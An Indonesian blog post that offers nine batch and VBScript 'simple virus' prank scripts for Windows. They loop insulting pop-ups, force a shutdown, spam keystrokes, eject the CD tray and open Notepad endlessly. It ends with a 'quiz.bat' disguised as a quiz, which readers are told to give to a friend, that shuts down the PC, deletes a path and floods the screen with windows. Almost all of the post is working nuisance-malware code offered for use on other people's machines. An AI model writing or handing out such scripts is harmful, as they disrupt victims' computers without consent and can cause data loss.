Kode Membuat Virus Sederhana

Kode Membuat Virus Sederhana

Post By Lazuhardianto

1.Message yang muncul terus

    @ECHO off

    :Begin

    msg * muka agan jelek

    msg * ngaca dulu gih

    msg * hayo lo gan,cpu ente ane acak2

    msg * ud install ulang aja

    msg * biar masalah nya kelar

    GOTO BEGIN


save dengan nama namafile.BAT

2.bikin shutdown+message

    @echo off

    msg * apaan sih lo

    shutdown -s -c "Error! muka agan standar abis"



save dengan nama namafile.BAT


3.Mainin Caps Lock button

    Set wshShell =wscript.CreateObject("WScript.Shell")

    do

    wscript.sleep 100

    wshshell.sendkeys "{CAPSLOCK}"

    loop


save dengan nama namafile.vbs

4.buka tutup CD/DVD

    Set oWMP = CreateObject("WMPlayer.OCX.7")

    Set colCDROMs = oWMP.cdromCollection

    do

    if colCDROMs.Count >= 1 then

    For i = 0 to colCDROMs.Count - 1

    colCDROMs.Item(i).Eject

    Next

    For i = 0 to colCDROMs.Count - 1

    colCDROMs.Item(i).Eject

    Next

    End If

    wscript.sleep 5000

    loop


save dengan nama namafile.vbs

5.bikin vbscript nongol melulu

    Set wshShell = wscript.CreateObject("WScript.Shell")

    do

    wscript.sleep 100

    wshshell.sendkeys "~(enter)"

    loop


save dengan nama namafile.vbs


6.tekan tombol backspace melulu

    MsgBox "kembali ke menu sebelumnya"

    Set wshShell =wscript.CreateObject("WScript.Shell")

    do

    wscript.sleep 100

    wshshell.sendkeys "{bs}"

    loop


save dengan nama namafile.vbs

7.otomatis ngetik "agan jelek banget sih" di notepad/word

    Set wshShell = wscript.CreateObject("WScript.Shell")

    do

    wscript.sleep 100

    wshshell.sendkeys "agan jelek banget sih!!!"

    loop


save dengan nama namafile.vbs

8.buka notepad trus menerus

    @ECHO off

    :top

    START %SystemRoot%\system32\notepad.exe

    GOTO top


save dengan nama namafile.BAT

9.otomatis buka notepad lalu ngetik apa yg agan mau

    WScript.Sleep 1800

    WScript.Sleep 100

    Set WshShell = WScript.CreateObject("WScript.Shell")

    WshShell.Run "notepad"

    WScript.Sleep 10

    WshShell.AppActivate "Notepad"

    WScript.Sleep 50

    WshShell.SendKeys "a"

    WScript.Sleep 50

    WshShell.SendKeys "gan "

    WScript.Sleep 50

    WshShell.SendKeys "ma"

    WScript.Sleep 50

    WshShell.SendKeys "ho"

    WScript.Sleep 50

    WshShell.SendKeys " ba"

    WScript.Sleep 50

    WshShell.SendKeys "ng"

    WScript.Sleep 50

    WshShell.SendKeys "et"

    WScript.Sleep 50

    WshShell.SendKeys " d"

    WScript.Sleep 50

    WshShell.SendKeys "e"

    WScript.Sleep 50

    WshShell.SendKeys " h"

    WScript.Sleep 50

    WshShell.SendKeys "!"

    WScript.Sleep 50

    WshShell.SendKeys "!! "


save dengan nama namafile.vbs

script tambahan
@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo gan,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar, hihihi
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat dan kasih ke temen.


Sebelumnya saya tidak bertanggung jawab kalau terjadi apa - apa dengan komputer kamu ya hehe :D
Tapi tenang aja, semua ada solusinya. Mau tau?
Caranya gampang, tekan CTRL + ALT + DEL (task manager) kemudian klik tab process kemudian cari "java script", End Process. Atau kalau ngak bisa juga apus aja file yang tadi. Masih ngak bisa juga di matiin? wah wah, tenang cukup restart komputer kamu. Masalah beres.


Oke, itu saja yang bisa saya share, semoga bermanfaat. Mungkin ada yang mau nambahin script lagi? Silakan di komen aja :)